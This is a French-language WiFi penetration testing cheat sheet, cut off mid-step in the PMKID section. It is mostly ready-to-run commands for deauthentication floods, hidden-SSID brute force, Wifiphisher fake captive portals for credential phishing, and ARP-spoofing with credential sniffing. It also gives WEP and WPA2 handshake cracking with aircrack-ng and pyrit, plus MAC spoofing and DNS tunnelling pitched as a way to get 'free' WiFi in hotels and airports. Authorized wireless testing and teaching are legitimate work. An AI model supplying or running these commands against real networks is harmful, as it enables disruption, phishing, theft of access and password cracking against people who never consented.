Guide de test de pénétration WiFi

Index

1. Commandes de base

2. Réseaux ouverts

   2.1. Portails captifs

   2.2. Attaque Man in the Middle

3. Craquage WEP

   3.1. Sans clients

4. Craquage WPA2-PSK

   4.1. Craquage du 4-way-handshake

   4.2. Attaque PMKID

   4.3. Attaque sans AP

5. WPA2-Enterprise

   5.1. Points d'accès factices

   5.2. Attaque par force brute

   5.3. Méthodes EAP supportées

6. Autres attaques

   6.1. Krack Attack et Frag Attack

   6.2. OSINT

   6.3. Brouillage WiFi

   6.4. Autres frameworks

7. Post-exploitation

   7.1. Attaque du routeur

   7.2. Types de scanners

   7.3. Spoofing

---

1. Commandes de base

Définir une variable d'environnement

VARIABLE=value

Vérifier le mode de l'interface

iwconfig $IFACE

Vérifier l'état de l'interface

ifconfig $IFACE

Passer en mode monitor

airmon-ng check kill
ifconfig $IFACE down
iwconfig $IFACE mode monitor
ifconfig $IFACE up

Lister les réseaux

1. Activer le mode monitor

2. Lancer Airodump-ng

airodump-ng $IFACE -c $CHANNEL -e $ESSID

Désauthentification

1. Un seul client

 aireplay-ng -0 $NUMBER_DEAUTH_PACKETS -a $AP_MAC -c $CLIENT_MAC $IFACE

2. Un point d'accès (= tous les clients du point d'accès)

 aireplay-ng -0 $NUMBER_DEAUTH_PACKETS -a $AP_MAC $IFACE

Obtenir un SSID masqué avec des clients

1. Lister les réseaux

Listez les réseaux avec Airodump-ng et récupérez l'adresse MAC du point d'accès ($AP_MAC) et celle d'un client ($CLIENT_MAC). Ne stoppez pas la capture.

2. Désauthentifier

Dans un autre terminal, désauthentifiez un client ou tous. Quand Airodump-ng capture un handshake de ce réseau, le nom ou ESSID apparaîtra dans le premier terminal :

aireplay-ng -0 $NUMBER_DEAUTH_PACKETS -a $AP_MAC -c $CLIENT_MAC $IFACE

Obtenir un SSID masqué sans clients

1. Lister les réseaux

Listez les réseaux avec Airodump-ng et récupérez l'adresse MAC du point d'accès ($AP_MAC) et celle d'un client ($CLIENT_MAC). Ne stoppez pas la capture.

2.a. Exécuter une attaque par dictionnaire

mdk3 $IFACE p -t $AP_MAC -f $DICTIONARY_PATH

2.b. Ou exécuter une attaque par force brute

mdk3 $IFACE p -t $AP_MAC -с $AP_CHANNEL -b $CHARACTER_SET

Pour le jeu de caractères, il est possible d'utiliser l (lettres minuscules), u (lettres majuscules), n (chiffres), c (minuscules+majuscules), m (minuscules+majuscules+chiffres) ou a (tous les caractères imprimables).

---

2. Réseaux ouverts

2.1. Portails captifs

2.1.1. Faux portails captifs

1. Cloner un site web avec HTTrack

2. Installer Wifiphiser. Ajouter le résultat de HTTrack dans un nouveau dossier dans wifiphisher/data/phishing-pages/new_page/html et un fichier de configuration dans wifiphisher/data/phishing-pages/new_page/config.ini.

3. Recompiler le projet avec python setup.py install ou le binaire dans bin.

4. Cette commande fonctionne correctement dans la dernière version de Kali après avoir installé hostapd :

cd bin && ./wifiphisher -aI $IFACE -e $ESSID --force-hostapd -p $PLUGIN -nE

2.1.2. Contournement 1 : Spoofing d'adresse MAC

La première méthode pour contourner un portail captif consiste à changer votre adresse MAC pour celle d'un utilisateur déjà authentifié.

1. Scannez le réseau et obtenez la liste des adresses IP et MAC. Vous pouvez utiliser :

• nmap

• Un script personnalisé comme celui-ci (Bash) ou celui-ci (Python)

2. Changez vos adresses IP et MAC. Vous pouvez utiliser :

• macchanger

• Un script personnalisé comme celui-ci(Bash)

Vous pouvez aussi utiliser des scripts pour automatiser le processus comme :

• Script de Poliva

• Hackcaptiveportals

2.1.3. Contournement 2 : Tunneling DNS

Une seconde méthode consiste à créer un tunnel DNS. Pour cela, il est nécessaire de posséder un serveur DNS accessible. Vous pouvez utiliser cette méthode pour contourner le portail captif et obtenir un WiFi "gratuit" dans les hôtels, aéroports...

1. Vérifiez que les noms de domaine sont résolus :

nslookup example.com

2. Créez 2 enregistrements DNS (chez Digital ocean, Afraid.org...) :

• Un "enregistrement A" : dns.$DOMAIN pointant vers $SERVER_IP (Exemple : dns.domain.com 139.59.172.117)

• Un "enregistrement NS" : hack.$DOMAIN pointant vers dns.$DOMAIN (Exemple : hack.domain.com dns.domain.com)

3. Exécution sur le serveur

iodined -f -c -P $PASS -n $SERVER_IP 10.0.0.1 hack.$DOMAIN

4. Vérifiez si cela fonctionne correctement sur ce site

5. Exécution sur le client

iodine -f -P $PASS $DNS_SERVER_IP hack.$DOMAIN

6. Créer le tunnel

ssh -D 8080 [email protected]

2.2. Attaque Man in the Middle

Une fois connecté au réseau, vous pouvez tester s'il est vulnérable aux attaques Man in the Middle.

1. Attaque ARP Spoofing avec Ettercap

2. Sniffez le trafic avec Wireshark ou TCPdump

3. Analysez le trafic avec PCredz (Linux) ou Network Miner (Windows)

---

3. Craquage WEP

1. Démarrer la capture

airodump-ng -c $AP_CHANNEL --bssid $AP_MAC -w $PCAP_FILE $IFACE

2. Accélérer la capture d'IV en utilisant Fake authentication + Arp Request Replay Attack + Désauthentifier un utilisateur. Arrêtez Airodump à environ 100 000 IV différents

aireplay-ng -1 0 -e $AP_NAME -a $AP_MAC -h $MY_MAC $IFACE
aireplay-ng -3 -b $AP_MAC -h $MY_MAC $IFACE
aireplay-ng -0 1 -a $AP_MAC -c $STATION_MAC $IFACE

3. Casser le mot de passe avec Aircrack-ng

aircrack-ng $PCAP_FILE

---

4. Craquage WPA2-PSK

4.1. Craquage du 4-way-handshake

1. Démarrer la capture

airodump-ng -c $AP_CHANNEL --bssid $AP_MAC -w $PCAP_FILE $IFACE

2. Désauthentifier un utilisateur. Arrêtez la capture airodump lorsque vous voyez le message 'WPA handshake: $MAC'

aireplay-ng -0 1 -a $AP_MAC -c $STATION_MAC $IFACE

3. Option 1 : Casser le handshake avec Aircrack-ng

aircrack-ng -w $WORDLIST capture.cap

Vous pouvez obtenir des listes de mots ici.

4. Option 2 : Casser le handshake avec Pyrit

pyrit -r $PCAP_FILE analyze
pyrit -r $PCAP_FILE -o $CLEAN_PCAP_FILE strip
pyrit -i $WORDLIST import_passwords
pyrit eval
pyrit batch
pyrit -r $CLEAN_PCAP_FILE attack_db

4.2. Attaque PMKID

Vous pouvez utiliser ce script ou suivre ces étapes :

1. Installer Hcxdumptool et Hcxtool (vous pouvez utiliser ce script).

2. Arrêter Network Manager

airmon-ng check kill

3a. Si vous voulez attaquer une adresse MAC spécifique